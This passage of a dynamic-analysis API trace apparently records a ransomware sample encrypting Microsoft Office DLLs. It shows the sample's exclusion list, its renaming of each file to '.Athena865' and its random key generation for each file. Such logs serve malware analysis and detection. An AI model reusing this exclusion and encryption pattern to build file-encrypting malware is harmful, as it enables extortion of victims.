szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.504] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.504] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.504] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x79890, lpName=0x0) returned 0x17c [0094.506] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x79890) returned 0x2d50000 [0094.523] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.524] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.524] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.532] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9322e700, ftCreationTime.dwHighDateTime=0x1cbae3c, ftLastAccessTime.dwLowDateTime=0xae1d3700, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9322e700, ftLastWriteTime.dwHighDateTime=0x1cbae3c, nFileSizeHigh=0x0, nFileSizeLow=0xe0db0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneNoteSyncPC.dll", cAlternateFileName="ONENOT~1.DLL")) returned 1 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2=".") returned 1 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2="..") returned 1 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2="windows") returned -1 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2="bootmgr") returned 1 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2="temp") returned -1 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2="pagefile.sys") returned -1 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2="boot") returned 1 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2="ids.txt") returned 1 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2="ntuser.dat") returned 1 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2="perflogs") returned -1 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2="MSBuild") returned 1 [0094.532] lstrlenW (lpString="OneNoteSyncPC.dll") returned 17 [0094.532] lstrcpyW (in: lpString1=0x241e8aa, lpString2="OneNoteSyncPC.dll" | out: lpString1="OneNoteSyncPC.dll") returned="OneNoteSyncPC.dll" [0094.532] lstrlenW (lpString="OneNoteSyncPC.dll") returned 17 [0094.532] lstrlenW (lpString="Athena865") returned 9 [0094.532] lstrcmpiW (lpString1="yncPC.dll", lpString2="Athena865") returned 1 [0094.532] lstrlenW (lpString=".dll") returned 4 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2=".dll") returned 1 [0094.532] lstrlenW (lpString=".lnk") returned 4 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2=".lnk") returned 1 [0094.532] lstrlenW (lpString=".ini") returned 4 [0094.532] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2=".ini") returned 1 [0094.532] lstrlenW (lpString=".sys") returned 4 [0094.533] lstrcmpiW (lpString1="OneNoteSyncPC.dll", lpString2=".sys") returned 1 [0094.533] lstrlenW (lpString="OneNoteSyncPC.dll") returned 17 [0094.533] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\OneNoteSyncPC.dll.Athena865") returned 76 [0094.533] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\OneNoteSyncPC.dll" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\onenotesyncpc.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\OneNoteSyncPC.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\onenotesyncpc.dll.athena865"), dwFlags=0x1) returned 1 [0094.534] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\OneNoteSyncPC.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\onenotesyncpc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.534] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=921008) returned 1 [0094.534] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.535] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.535] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.535] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe10b0, lpName=0x0) returned 0x17c [0094.537] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe10b0) returned 0x2d50000 [0094.567] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.567] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.567] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.579] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9b4fa00, ftCreationTime.dwHighDateTime=0x1cba057, ftLastAccessTime.dwLowDateTime=0xadf25e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa9b4fa00, ftLastWriteTime.dwHighDateTime=0x1cba057, nFileSizeHigh=0x0, nFileSizeLow=0xf9a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONLNTCOMLIB.DLL", cAlternateFileName="ONLNTC~1.DLL")) returned 1 [0094.579] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.579] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.579] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2=".") returned 1 [0094.579] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="..") returned 1 [0094.579] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="windows") returned -1 [0094.579] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="bootmgr") returned 1 [0094.579] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="temp") returned -1 [0094.579] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="pagefile.sys") returned -1 [0094.579] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="boot") returned 1 [0094.579] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="ids.txt") returned 1 [0094.579] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="ntuser.dat") returned 1 [0094.579] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="perflogs") returned -1 [0094.579] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2="MSBuild") returned 1 [0094.579] lstrlenW (lpString="ONLNTCOMLIB.DLL") returned 15 [0094.579] lstrcpyW (in: lpString1=0x241e8aa, lpString2="ONLNTCOMLIB.DLL" | out: lpString1="ONLNTCOMLIB.DLL") returned="ONLNTCOMLIB.DLL" [0094.579] lstrlenW (lpString="ONLNTCOMLIB.DLL") returned 15 [0094.579] lstrlenW (lpString="Athena865") returned 9 [0094.579] lstrcmpiW (lpString1="OMLIB.DLL", lpString2="Athena865") returned 1 [0094.579] lstrlenW (lpString=".dll") returned 4 [0094.579] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2=".dll") returned 1 [0094.579] lstrlenW (lpString=".lnk") returned 4 [0094.579] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2=".lnk") returned 1 [0094.579] lstrlenW (lpString=".ini") returned 4 [0094.580] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2=".ini") returned 1 [0094.580] lstrlenW (lpString=".sys") returned 4 [0094.580] lstrcmpiW (lpString1="ONLNTCOMLIB.DLL", lpString2=".sys") returned 1 [0094.580] lstrlenW (lpString="ONLNTCOMLIB.DLL") returned 15 [0094.580] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONLNTCOMLIB.DLL.Athena865") returned 74 [0094.580] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONLNTCOMLIB.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\onlntcomlib.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONLNTCOMLIB.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\onlntcomlib.dll.athena865"), dwFlags=0x1) returned 1 [0094.581] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONLNTCOMLIB.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\onlntcomlib.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.581] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=63904) returned 1 [0094.581] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.582] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.582] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.582] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfca0, lpName=0x0) returned 0x17c [0094.584] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfca0) returned 0x100000 [0094.587] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.587] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.587] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.589] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x20d88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OWSSUPP.DLL", cAlternateFileName="")) returned 1 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2=".") returned 1 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2="..") returned 1 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2="windows") returned -1 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2="bootmgr") returned 1 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2="temp") returned -1 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2="pagefile.sys") returned -1 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2="boot") returned 1 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2="ids.txt") returned 1 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2="ntuser.dat") returned 1 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2="perflogs") returned -1 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2="MSBuild") returned 1 [0094.589] lstrlenW (lpString="OWSSUPP.DLL") returned 11 [0094.589] lstrcpyW (in: lpString1=0x241e8aa, lpString2="OWSSUPP.DLL" | out: lpString1="OWSSUPP.DLL") returned="OWSSUPP.DLL" [0094.589] lstrlenW (lpString="OWSSUPP.DLL") returned 11 [0094.589] lstrlenW (lpString="Athena865") returned 9 [0094.589] lstrcmpiW (lpString1="SSUPP.DLL", lpString2="Athena865") returned 1 [0094.589] lstrlenW (lpString=".dll") returned 4 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2=".dll") returned 1 [0094.589] lstrlenW (lpString=".lnk") returned 4 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2=".lnk") returned 1 [0094.589] lstrlenW (lpString=".ini") returned 4 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2=".ini") returned 1 [0094.589] lstrlenW (lpString=".sys") returned 4 [0094.589] lstrcmpiW (lpString1="OWSSUPP.DLL", lpString2=".sys") returned 1 [0094.589] lstrlenW (lpString="OWSSUPP.DLL") returned 11 [0094.590] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\OWSSUPP.DLL.Athena865") returned 70 [0094.590] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\OWSSUPP.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\owssupp.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\OWSSUPP.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\owssupp.dll.athena865"), dwFlags=0x1) returned 1 [0094.591] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\OWSSUPP.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\owssupp.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.591] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=134536) returned 1 [0094.591] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.592] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.592] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.592] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21090, lpName=0x0) returned 0x17c [0094.595] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x21090) returned 0x170000 [0094.601] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.601] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.601] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.603] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba4fb00, ftCreationTime.dwHighDateTime=0x1cab7d7, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ba4fb00, ftLastWriteTime.dwHighDateTime=0x1cab7d7, nFileSizeHigh=0x0, nFileSizeLow=0x5ef90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PPSLAX.DLL", cAlternateFileName="")) returned 1 [0094.603] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.603] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.603] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2=".") returned 1 [0094.603] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="..") returned 1 [0094.604] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="windows") returned -1 [0094.604] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="bootmgr") returned 1 [0094.604] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="temp") returned -1 [0094.604] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="pagefile.sys") returned 1 [0094.604] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="boot") returned 1 [0094.604] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="ids.txt") returned 1 [0094.604] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="ntuser.dat") returned 1 [0094.604] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="perflogs") returned 1 [0094.604] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2="MSBuild") returned 1 [0094.604] lstrlenW (lpString="PPSLAX.DLL") returned 10 [0094.604] lstrcpyW (in: lpString1=0x241e8aa, lpString2="PPSLAX.DLL" | out: lpString1="PPSLAX.DLL") returned="PPSLAX.DLL" [0094.604] lstrlenW (lpString="PPSLAX.DLL") returned 10 [0094.604] lstrlenW (lpString="Athena865") returned 9 [0094.604] lstrcmpiW (lpString1="PSLAX.DLL", lpString2="Athena865") returned 1 [0094.604] lstrlenW (lpString=".dll") returned 4 [0094.604] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2=".dll") returned 1 [0094.604] lstrlenW (lpString=".lnk") returned 4 [0094.604] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2=".lnk") returned 1 [0094.604] lstrlenW (lpString=".ini") returned 4 [0094.604] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2=".ini") returned 1 [0094.604] lstrlenW (lpString=".sys") returned 4 [0094.604] lstrcmpiW (lpString1="PPSLAX.DLL", lpString2=".sys") returned 1 [0094.604] lstrlenW (lpString="PPSLAX.DLL") returned 10 [0094.604] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\PPSLAX.DLL.Athena865") returned 69 [0094.604] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\PPSLAX.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\ppslax.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\PPSLAX.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\ppslax.dll.athena865"), dwFlags=0x1) returned 1 [0094.606] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\PPSLAX.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\ppslax.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.606] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=389008) returned 1 [0094.606] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.607] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.607] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.607] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f290, lpName=0x0) returned 0x17c [0094.608] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5f290) returned 0x2d50000 [0094.621] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.622] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.622] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.627] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x22226890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x16f80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STSCOPY.DLL", cAlternateFileName="")) returned 1 [0094.627] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.627] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.627] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2=".") returned 1 [0094.627] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2="..") returned 1 [0094.627] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2="windows") returned -1 [0094.627] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2="bootmgr") returned 1 [0094.627] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2="temp") returned -1 [0094.627] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2="pagefile.sys") returned 1 [0094.627] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2="boot") returned 1 [0094.627] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2="ids.txt") returned 1 [0094.627] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2="ntuser.dat") returned 1 [0094.627] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2="perflogs") returned 1 [0094.627] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2="MSBuild") returned 1 [0094.627] lstrlenW (lpString="STSCOPY.DLL") returned 11 [0094.627] lstrcpyW (in: lpString1=0x241e8aa, lpString2="STSCOPY.DLL" | out: lpString1="STSCOPY.DLL") returned="STSCOPY.DLL" [0094.627] lstrlenW (lpString="STSCOPY.DLL") returned 11 [0094.627] lstrlenW (lpString="Athena865") returned 9 [0094.627] lstrcmpiW (lpString1="SCOPY.DLL", lpString2="Athena865") returned 1 [0094.627] lstrlenW (lpString=".dll") returned 4 [0094.627] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2=".dll") returned 1 [0094.627] lstrlenW (lpString=".lnk") returned 4 [0094.627] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2=".lnk") returned 1 [0094.627] lstrlenW (lpString=".ini") returned 4 [0094.628] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2=".ini") returned 1 [0094.628] lstrlenW (lpString=".sys") returned 4 [0094.628] lstrcmpiW (lpString1="STSCOPY.DLL", lpString2=".sys") returned 1 [0094.628] lstrlenW (lpString="STSCOPY.DLL") returned 11 [0094.628] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\STSCOPY.DLL.Athena865") returned 70 [0094.628] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\STSCOPY.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\stscopy.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\STSCOPY.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\stscopy.dll.athena865"), dwFlags=0x1) returned 1 [0094.629] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\STSCOPY.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\stscopy.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.629] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=94080) returned 1 [0094.629] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.629] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.629] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.630] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17280, lpName=0x0) returned 0x17c [0094.631] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17280) returned 0x100000 [0094.636] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.636] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.636] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.638] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45f3a00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x22226890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd45f3a00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x11780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STSUPLD.DLL", cAlternateFileName="")) returned 1 [0094.638] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.638] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.638] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2=".") returned 1 [0094.638] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2="..") returned 1 [0094.638] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2="windows") returned -1 [0094.638] lstrcmpiW (lpString1="STSUPLD.DLL", lpString2="bootmgr") returned 1 [0094.638] lstrcmpiW 